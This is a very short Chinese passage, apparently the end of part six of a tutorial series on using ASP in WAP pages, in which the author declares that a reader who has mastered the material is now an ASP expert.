WAP中的ASP技术之六 好了,如果你完整的看完以上内容并且熟练掌握了,那么现在我宣布,你已经是一个ASP高手了。 |
|
|